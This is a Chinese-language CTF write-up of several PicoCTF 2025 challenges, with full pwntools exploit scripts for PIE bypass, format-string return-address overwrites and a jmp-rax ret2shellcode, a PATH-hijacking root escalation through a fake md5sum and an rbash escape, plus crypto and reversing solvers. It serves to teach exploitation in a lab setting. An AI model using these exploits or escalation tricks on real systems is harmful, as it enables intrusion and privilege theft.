PicoCTF 2025
夢開始的地方
現在來打 beginner 的比賽有點不要臉,不過把 Binary Exploitation 破台還是很開心
information
Ranking: 231st / 10460
https://play.picoctf.org/teams/15969
PIE TIME
如題是和 PIE 有關的題目,保護機制
1
2
3
4
5
6
7
8
9
10
$ checksec vuln
[*] '/home/kali/CTF/pwn/PIE_TIME/vuln'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
目標函數
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
程式會直接跳轉到我們輸入的 address
1
2
3
4
5
6
7
8
...
unsigned long val;
printf("Enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
printf("Your input: %lx\n", val);
void (*foo)(void) = (void (*)())val;
...
在輸入前會給 main 函數該次執行的 address
1
2
3
...
printf("Address of main: %p\n", &main);
...
減去 main 的 offset 後就可以算出 PIE 的 base,之後加上目標函數的 offset 就可以取得 flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
# p = process('./vuln')
p = remote("rescued-float.picoctf.net", 54511)
main_addr = 0x0000133d
win_addr = 0x000012a7
p.recvuntil(B": ")
pie = int(p.recvline(keepends=False).decode(), 16) - main_addr
p.sendlineafter(b"ex => 0x12345: ", hex(win_addr+pie).encode())
p.recvlines(2)
flag = p.recvline().decode()
p.close()
print(flag)
PIE TIME 2
和上一題一樣是考 PIE 的題目,保護機制
1
2
3
4
5
6
7
8
9
10
$ checksec vuln
[*] '/home/kali/CTF/pwn/PIE_TIME_2/vuln'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
和上一題一樣有目標函數
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n")
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
還是一樣會跳轉到我們輸入的 address
1
2
3
4
5
6
7
...
unsigned long val;
printf(" enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
void (*foo)(void) = (void (*)())val;
...
這次沒有直接提供 address 不過裡面有一個 fmt 的漏洞
1
2
3
4
...
fgets(buffer, 64, stdin);
printf(buffer);
...
透過 fmt 的漏洞 leak 出 stack 上的 main+65 的 address
1
2
3
$ ./vuln
Enter your name:%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
0x559dd9bca2a1-0xfbad2288-0x7f4685ef06dd-0x559dd9bca2d9-0x4-0x7f4685fd2ff0-(nil)-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x7fff8a83000a-0x7fff8a8305c0-0x17dfdebf37e06a00-0x7fff8a8305c0-0x559da5086441
1
2
pwndbg> x/i 0x559da5086441
0x559da5086441 <main+65>: mov eax,0x0
之後一樣減去 main+65 的 offset 後就可以算出 PIE 的 base,之後加上目標函數的 offset 就可以取得 flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
# p = process('./vuln')
p = remote("rescued-float.picoctf.net", 64181)
fmt_payload = b"%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p"
leak_offset = 0x1441
win_offset = 0x0000136a
p.sendlineafter(b":", fmt_payload)
reslut = p.recvline(keepends=False).decode()
leak_addr = int(reslut.split("-")[-1], 16)
pie = leak_addr - leak_offset
win_addr = hex(pie+win_offset)
p.sendlineafter(b": ", win_addr)
p.recvline()
flag = p.recvline().decode()
p.close()
print(flag)
hash-only-1
他讓我們會啟一個 instant 我們可以用 ssh 連進去,裡面有一個 binary 會算出 flag.txt 的 md5 checksum
1
2
3
4
ctf-player@pico-chall$ ./flaghasher
Computing the MD5 hash of /root/flag.txt....
87372b3f21242178d2bf22192541ab0c /root/flag.txt
flag.txt 放在 /root 裡面,但我們沒有權限存取 /root
1
2
ctf-player@pico-chall$ cd /root
-bash: cd: /root: Permission denied
我們可以用他提供的 scp 來取得算 checksum 的 binary ,逆向分析後發現他會去呼叫 system 來執行 /bin/bash -c \'md5sum /root/flag.txt\'
1
2
3
4
5
6
7
8
9
...
((char *)local_48,(allocator *)"/bin/bash -c \'md5sum /root/flag.txt\'");
std::allocator<char>::~allocator(&local_4d);
setgid(0);
setuid(0);
__command = (char *)std::__cxx11::basic_string<>::c_str();
/* try { // try from 001013de to 00101423 has its CatchHandler @ 0010146d */
local_4c = system(__command);
...
我試著去建立一個名字一樣是 md5sum 的檔案並在裡面加上 /bin/sh 並加上執行權限
1
2
ctf-player@pico-chall$ echo "/bin/sh" > md5sum
ctf-player@pico-chall$ chmod +x md5sum
把他加入 $PATH 中,最後再次執行 ./flaghasher 成功提權
1
2
3
4
5
6
ctf-player@pico-chall$ export PATH="/home/ctf-player:$PATH"
ctf-player@pico-chall$ ./flaghasher
Computing the MD5 hash of /root/flag.txt....
# whoami
root
hash-only-2
和 hash-only-1 差不多,不過他把 flaghasher 移到了 /usr/local/bin/ 底下 ,還有預設的 shell 是他做的有限制輸入的字元
1
2
3
ctf-player@pico-chall$ which $SHELL
/bin/rbash
ctf-player@pico-chall$ ./test -rbash: ./test: restricted: cannot specify `/' in command names
不過可以直接輸入 bash 換成 bash 繞過限制
1
2
3
ctf-player@pico-chall$ bash
ctf-player@challenge:~$ /
bash: /: Is a directory
之後和上一題的解法一樣,自己建立一個用於提權的 md5sum 加上執行權限後加入 $PATH
1
2
3
ctf-player@pico-chall$ echo "/bin/sh" > md5sum
ctf-player@pico-chall$ chmod +x md5sum
ctf-player@pico-chall$ export PATH="/home/ctf-player:$PATH"
執行 flaghasher 後成功提權
1
2
3
4
5
ctf-player@challenge:~$ flaghasher
Computing the MD5 hash of /root/flag.txt....
# whoami
root
Echo Valley
保護機制
1
2
3
4
5
6
7
8
9
10
11
$ checksec valley
[*] '/home/kali/CTF/pwn/Echo_Valley/valley'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes
目標函數
1
2
3
4
5
6
7
8
9
10
11
12
13
14
void print_flag() {
char buf[32];
FILE *file = fopen("/home/valley/flag.txt", "r");
if (file == NULL) {
perror("Failed to open flag file");
exit(EXIT_FAILURE);
}
fgets(buf, sizeof(buf), file);
printf("Congrats! Here is your flag: %s", buf);
fclose(file);
exit(EXIT_SUCCESS);
}
程式裡有 fmt 的漏洞
1
2
3
4
5
6
7
if (fgets(buf, sizeof(buf), stdin) == NULL) {
printf("\nEOF detected. Exiting...\n");
exit(0);
}
...
printf("You heard in the distance: ");
printf(buf);
透過 address leak 找到 main+18 和 old rbp 所在的 address
1
2
3
Welcome to the Echo Valley, Try Shouting:
%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
You heard in the distance: 0x7ffd38170500-(nil)-(nil)-0x5588a94876ef-0x4-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0xa70252d70252d-(nil)-(nil)-(nil)-(nil)-(nil)-0x89faff230cb09400-0x7ffd38170730-0x5588a44e5413
1
2
pwndbg> x/i 0x5588a44e5413
0x5588a44e5413 <main+18>: mov eax,0x0
1
2
3
4
5
pwndbg> stack 100
00:0000│ rax rcx rsp 0x7ffd381706b0 ◂— 0x70252d70252d000a /* '\n' */
...
0d:0068│-008 0x7ffd38170718 ◂— 0x89faff230cb09400
0e:0070│ rbp 0x7ffd38170720 —▸ 0x7ffd38170730 ◂— 1
之後分別算出 PIE 的 base 和放 return address 的 address 後透過 fmtstr 工具算出 fmt offset 後 修改目標位置的值
1
2
3
4
5
6
7
8
def send_payload(payload):
p = elf.process()
p.sendline(payload)
l = p.recvall(timeout=1)
p.close()
return l
offset = FmtStr(send_payload).offset
1
payload = fmtstr_payload(offset=offset, writes={rip_point_to: print_flag_addr}, write_size='short')
完整 exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
elf = context.binary = ELF('./valley')
def send_payload(payload):
p = elf.process()
p.sendline(payload)
l = p.recvall(timeout=1)
p.close()
return l
offset = FmtStr(send_payload).offset
info("offset = %d", offset)
fmt_payload = b"%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p"
leak_offset = 0x1413
print_flag_offset = 0x00001269
p = process('./valley')
# p = remote("shape-facility.picoctf.net", 57986)
p.sendlineafter(b":", fmt_payload)
p.recvuntil(b": ")
raw_leak_addr = p.recvline(keepends=False).decode()
leak_addr = int(raw_leak_addr.split("-")[-1],16)
pie = leak_addr - leak_offset
print_flag_addr = pie+print_flag_offset
rip_point_to = int(raw_leak_addr.split("-")[-2],16) - 0x8
payload = fmtstr_payload(offset=offset, writes={rip_point_to: print_flag_addr}, write_size='short')
success(f"print flag adddress: {hex(print_flag_addr)}\nrip point to: {hex(rip_point_to)}\npayload: {payload}")
p.sendline(payload)
p.sendline(b"")
p.sendline(b"exit")
p.recvuntil(b"The Valley Disappears")
p.recvuntil(b": ")
flag = p.recvline().decode()
p.close()
print("flag: "+flag)
handoff
想了一個下午,最後在睡前通靈出解法
保護機制
1
2
3
4
5
6
7
8
9
10
11
12
$ checksec handoff
[*] '/home/kali/CTF/pwn/handoff/handoff'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
SHSTK: Enabled
IBT: Enabled
Stripped: No
NX 是關的加上有 bof 的漏洞初看感覺是 ret2shellcode
1
2
3
4
5
#define NAME_LEN 32
...
char feedback[8];
...
fgets(feedback, NAME_LEN, stdin);
不過由於 stack 的 address 會在每一次程序執行的時候有範圍的隨機分配所以不能直接把 return address 改成放shellcode 的位置。去翻 gadget 看到了有 jmp rax 這個神奇的 gadget
1
2
3
4
5
6
ROPgadget --binary handoff
Gadgets information
============================================================
...
0x000000000040116c : jmp rax
...
加上在執行的時候 rax 會指到我們可以輸入的位置,不過同時因為有輸入長度限制及尾端需要放著段 address所以我們不能直接在 feedback 裡面塞 shellcode 。不過 feedback 和 我們放 shellcode 的 address offset 是固定的,所以我們可以在 jmp rax 後減掉那個 offset ,最後再次 jmp rax 到我們放 shellcode 的 address 來完成 ret2shellcode。完整exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context.arch = 'amd64'
sh = asm(shellcraft.sh())
jmp_rax = p64(0x000000000040116c)
jump_to_sh = asm('''sub rax, 0x2d4
jmp rax''', arch="amd64")
payload = b'\x90\x90' + jump_to_sh + b'a' * 10 + jmp_rax
# p = process('./handoff')
p = remote("shape-facility.picoctf.net", 59718)
p.sendlineafter(b"3. Exit the app", b"1")
p.sendlineafter(b"name:", b"\x90"*8)
p.sendlineafter(b"3. Exit the app", b"2")
p.sendlineafter(b"to?", b"0")
p.sendlineafter(b"them?", sh)
p.sendlineafter(b"3. Exit the app", b"3")
p.sendlineafter(b"it:", payload)
p.interactive()
Tap into Hash
給了一個python 還有一個有密文和 key 的txt。block_chain.py 主要在做的事是建立一個由五個區塊串起來的區塊鏈
1
2
3
4
5
6
7
8
9
10
genesis_block = Block(0, "0", int(time.time()), "EncodedGenesisBlock", 0)
blockchain = [genesis_block]
for i in range(1, 5):
encoded_transactions = base64.b64encode(
f"Transaction_{i}".encode()).decode('utf-8')
new_block = proof_of_work(blockchain[-1], encoded_transactions)
blockchain.append(new_block)
all_blocks = get_all_blocks(blockchain)
之後把鏈轉換成 string 後和 flag 一起拿去加密並印出加密結果
1
2
3
4
blockchain_string = blockchain_to_string(all_blocks)
encrypted_blockchain = encrypt(blockchain_string, token, key)
print("Encrypted Blockchain:", encrypted_blockchain)
加密的邏輯是把 flag 放到 blockchain_string 的中間之後跟 hash 後的 key 每16位元做一次 xor 計算,不夠的 string 會補上 padding 。最後回傳加密完的結果
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def encrypt(plaintext, inner_txt, key):
midpoint = len(plaintext) // 2
first_part = plaintext[:midpoint]
second_part = plaintext[midpoint:]
modified_plaintext = first_part + inner_txt + second_part
block_size = 16
plaintext = pad(modified_plaintext, block_size)
key_hash = hashlib.sha256(key).digest()
ciphertext = b''
for i in range(0, len(plaintext), block_size):
block = plaintext[i:i + block_size]
cipher_block = xor_bytes(block, key_hash)
ciphertext += cipher_block
return ciphertext
因為我們有加密完的結果及 key 所以我們可以反推加密前的 string ,最後我們就以從解密完的字串裡面看到 flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import hashlib
def xor_bytes(a, b):
return bytes(x ^ y for x, y in zip(a, b))
key= b'B\xfdL\x92\xf1C\x8fP\xb4\xd4dt\x8b\x18\xcfR\xfd`\xd1-\xa5\xde\xcd\x89\xee\xdb\xfb\r\x83&\x07\x82'
enc_block= b'|`M\xb2&\xa7\xea\xd5m\xb5\x83g\x11\x90\x08\xdbx7L\xb2v\xa0\xb8\xd4;\xbe\xdd`E\xc4\x01\xdb/:\x18\xe5s\xa6\xee\x8e;\xbd\xd8i\x19\x94X\xda|2\x19\xe2v\xf4\xed\x81m\xbb\xdd1\x13\x98\x08\xd3d3K\xe4t\xf1\xec\x83;\xbe\x83c\x18\x93]\xda|2\x1e\xe7&\xa9\xbd\xd0a\xee\x8a4\x13\xc3Z\xd3x7J\xb5u\xa1\xe9\x81o\xbf\x8ec\x12\x90\x0c\xd3y3N\xe3 \xa6\xbe\x85>\xe9\x82c\x14\x92\x0c\x81\x7f.K\xb6t\xa3\xee\x80o\xb4\x8dcE\x94\x08\x82(3K\xe2r\xa5\xe9\xd0o\xef\x8f1\x10\xc5\x0c\xd2\x7f`\x0b\xefs\xff\xcc\xe2\x1e\xf7\xd9<O\xc2R\xbczP)\xeeF\xf9\xdd\xd4\x0c\xbd\xca3x\xfea\xb6#NK\xf4$\xa9\xec\xfe\x07\xfd\xf8*M\xebc\x99\x0bH$\xbe$\xa2\xec\xd0`\xbf\xda-\x10\x91\\\xd3-eJ\xb6#\xa3\xea\xd2m\xbc\xddfC\xc5\t\x82+fO\xe2(\xa9\xee\x85k\xe8\x822\r\x91\t\x86y1I\xe7!\xf5\xb6\x8e>\xbd\xdae\x14\x98\t\xd6(1M\xbfv\xa9\xe9\x85=\xe8\xdadB\x92\x00\xdb*fB\xb2!\xa5\xeb\x83<\xea\x8d5A\x96\x0c\xd2\x7f2M\xb2(\xa6\xea\xd5l\xea\xdab\x16\x8c\t\xd3z`C\xe3(\xa0\xb7\x81j\xee\xd9hE\x95\x0b\x82*aO\xb2"\xa7\xeb\x86:\xbe\xd9gC\x97\x01\xd4yf\x19\xe0\'\xa3\xb9\x80>\xbb\xdahE\x93\x0f\x82,`\x1d\xb5#\xa7\xb6\x82k\xbc\x8ci\x14\x97;\xe1'
block_size = 16
plain_text = b''
key_hash = hashlib.sha256(key).digest()
for i in range(0, len(enc_block), block_size):
block = enc_block[i:i + block_size]
cipher_block = xor_bytes(block, key_hash)
plain_text += cipher_block
print(plain_text)
perplexed
給了一個 binary ,需要輸入 flag ,binary裡的 check 函數會檢查 flag 是否正確。主要的驗證邏輯
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
for (i = 0; i < 23; i = i + 1) {
for (j = 0; j < 8; j = j + 1) {
if (inputBit == 0) {
inputBit = 1;
}
passBitsIndex = 1 << (7U - (char)j & 0x1f);
inputBitsIndex = 1 << (7U - (char)inputBit & 0x1f);
if (0 < (int)((int)input[inputIdx] & inputBitsIndex) !=
0 < (int)((int)pass[(int)i] & passBitsIndex)) {
return true;
}
inputBit = inputBit + 1;
if (inputBit == 8) {
inputBit = 0;
inputIdx = inputIdx + 1;
}
sVar3 = (size_t)inputIdx;
sVar2 = strlen(input);
if (sVar3 == sVar2) {
return false;
}
}
}
bVar1 = false;
...
pass 的值
1
2
3
02:0010│-050 0x7fffffffc110 ◂— 0x617b2375f81ea7e1
03:0018│-048 0x7fffffffc118 ◂— 0xd269df5b5afc9db9
04:0020│-040 0x7fffffffc120 ◂— 0xf467edf4ed1bfe
根據他的 check 寫了一個 function 去反推 flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void reconstruct_param1(unsigned char *param_1, const unsigned char *local_58, size_t len) {
size_t local_1c = 0;
int local_20 = 0;
memset(param_1, 0, len);
for (size_t i = 0; i < len; i++) {
for (int j = 0; j < 8; j++) {
if (local_20==0)
local_20 = 1;
unsigned char local_30 = 1 << (7U - j);
unsigned char local_34 = 1 << (7U - local_20);
if ((local_58[i] & local_30) != 0) {
param_1[local_1c] |= local_34;
} else {
param_1[local_1c] &= ~local_34;
}
local_20++;
if (local_20 == 8) {
local_20 = 0;
local_1c++;
if (local_1c == len) {
return;
}
}
}
}
}
最後把 pass 的值放進去(記得要補0x00)就可以算出 flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int main() {
unsigned char local_58[] = {
0xe1, 0xa7, 0x1e, 0xf8, 0x75, 0x23, 0x7b, 0x61, // 0x617b2375f81ea7e1
0xb9, 0x9d, 0xfc, 0x5a, 0x5b, 0xdf, 0x69, 0xd2, // 0xd269df5b5afc9db9
0xfe, 0x1b, 0xed, 0xf4, 0xed, 0x67, 0xf4, 0x00,
0x00, 0x00, 0x00
// 0xfe, 0x1b, 0xed, 0xf4, 0xed, 0x67, 0xf4 //0xf467edf4ed1bfe
};
size_t len = sizeof(local_58);
unsigned char param_1[len];
reconstruct_param1(param_1, local_58, len);
printf("Reconstructed param_1:\n");
for (size_t i = 0; i < len; i++) {
printf("%c", param_1[i]);
}
printf("\n");
return 0;
}